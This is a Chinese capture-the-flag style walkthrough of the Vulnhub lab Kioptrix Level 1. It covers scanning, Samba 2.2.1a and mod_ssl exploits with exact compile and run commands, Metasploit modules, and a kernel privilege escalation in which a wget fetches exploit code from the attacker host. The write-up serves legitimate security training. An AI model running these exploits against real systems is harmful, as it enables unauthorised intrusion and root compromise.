Vulnhub - Kioptix Level 1
一、前言
简介:
Vulnhub是一个提供各种漏洞环境的靶场平台。
下载地址:
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
网络问题:
症状:
1、将靶机网络适配器修改为NAT模式后启动靶机,使用nmap对网段进行扫描会发现扫描不到靶机IP地址。
解决方法:
1、将靶机在VMware中移除。
2、以记事本打开此文件。
3、删除所有以 "ethernet0"
开头的条目并保存更改。
4、 然后重新导入虚拟机,并重新添加虚拟网络适配器且将其网络模式设置为NAT模式。
5、开启虚拟机,并重新使用nmap对网段进行扫描
参考:
https://www.cnblogs.com/jason-huawen/p/16097208.html
靶场环境:
Kali IP:192.168.8.128
靶机 IP:192.168.8.129
网络适配器模式:NAT
二、Walkthrough
1、首先使用 nmap -sP
参数对网段进行扫描,扫描出靶机IP。
2、扫描出IP后使用 nmap -sV
参数对靶机进行服务和版本探测。
3、到这里后有几个思路,对开放端口进行深入信息收集。可以对80和443端口进行访问,看是否可以收集更多信息。(例如:CMS类型和版本、Web服务器类型和版本、操作系统类型和版本、目录扫描、robots.txt文件),如果CMS版本有历史漏洞可以尝试从该点切入。
Samba
由于Samba的版本nmap没有扫描出来,这里使用 msfconsole
命令启动MSF,使用MSF自带的smb_version进行搜索。
搜索到该模块后使用 use +序号
进行使用模块(这里是 use0 ),在使用该模块后使用 show options
命令查看该模块需要设置的功能点,这里发现RHOSTS 没有设置,将RHOSTS设置为靶机IP地址后,再次使用命令查看是否存在还需要设置的功能点,这里发现已经设置好了直接使用 run
命令使用模块,Samba版本为 2.2.1a。
已知Samba版本使用searchsploit samba
搜索到所有包含Samba的exp,这里使用可以远程命令执行的(网上搜的)。
Samba Remote Code Execution(RCE)
exp 文件路径为/usr/share/exploitdb/exploits/multiple/remote/10.c
使用cp
命令将exp复制到合适的位置,我这里是复制到了/opt/exp
文件夹下(需要使用root权限启动终端)。
使用gcc 10.c -o samba_exp
命令编译exp(-o 是输出,后面的是输出的文件名),编译完成后使用chmod u+x
命令为用户添加执行权限。
使用./samba_exp -b0 IP地址
命令启动(-b 参数是platform,0为Linux),启动成功后成功getshell。
Samba trans2open
在互联网中查找资料后得知还有这种利用方式,而且msf中已经集成了该模块,直接启动msfconsole,使用命令搜索。
搜索出来后直接使用 use 命令来使用并且设置LHOST、RHOSTS、Payload,但是这里遇到一个问题就是有时候会不成功,同一台Kali的另一个msfconsole窗口就可以成功获取shell。
在另一个窗口中成功getshell,这里已经是root权限不需要提权。
rpcbind
111端口为rpcbind服务,该服务存在漏洞(该漏洞可使攻击者在远程rpcbind绑定主机上任意大小的内存(每次攻击最高可达4GB),除非进程崩溃或者管理员挂起/重启rpcbind服务,否则该内存不会被释放)。
nmap扫描已知版本为 rpcbind 2
,启动MSF 使用searchsploit命令看漏洞库中是否存在该漏洞。
1、使用msf自带的的模块扫描rpcbind,命令为
use auxiliary/scanner/misc/sunrpc_portmapper
,设置 RHOSTS后直接run。
2、由于没找到什么有用信息,这里使用 searchsploit rpcbind
命令搜索一下发现搜索到了三个Exp,把这三个Exp都复制下来后挨个使用发现都没有作用。
26887.rb
41974.rb
20376.txt
里面的网址也都不能访问,所以rpcbind这条路作罢。
mod_ssl
由于nmap在信息收集的过程中收集到了mod_ssl的版本为2.8.4 ,这里使用命令searchsploit mod_ssl 2.8
搜索Exp,复制搜索到的Exp到本地进行编译。
21671.c和764.c编译失败
47080.c
首先使用命令gcc 47080.c -o 47080
进行编译发现编译失败,一番搜索后在后面添加参数 -lcrypto
后编译成功,完整命令如下:
gcc 47080.c -o 47080 -lcrypto
使用命令./47080
启动编译后的软件给我们了使用方法,在前期信息收集时可以得知操作系统为Redhat Linux Apache的版本为1.3.20
这里使用以下命令成功拿到低权限Shell,但是不知道为什么使用0x6a不成功。
./47080 0x6b 192.168.8.129(IP地址) 443 -c 50
后面就要考虑提权的问题了,提权的方法有很多,这里使用Linux内核漏洞提权,上面拿到低权限shell后使用uname -a
命令查看内核版本。
直接搜索Exp并复制到/opt/exp
目录下。
使用 python3 -m http.server
命令开开启HTTP服务。
在低权限shell中使用wget 192.168.8.128:8000/3.c
命令下载到靶机中,并使用gcc 3.c -o exp
命令编译,编译后使用命令./exp
启动,到这里提权成功。
三、总结
1、网络发现可以用netdiscover工具来找到靶机IP。文章来源:https://www.toymoban.com/news/detail-772797.html
2、samba扫描工具可以使用以下几个文章来源地址https://www.toymoban.com/news/detail-772797.html
1、msf中的smb_version
2、enum4linux
到了这里,关于Lab 1-Vulnhub - Kioptix Level 1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!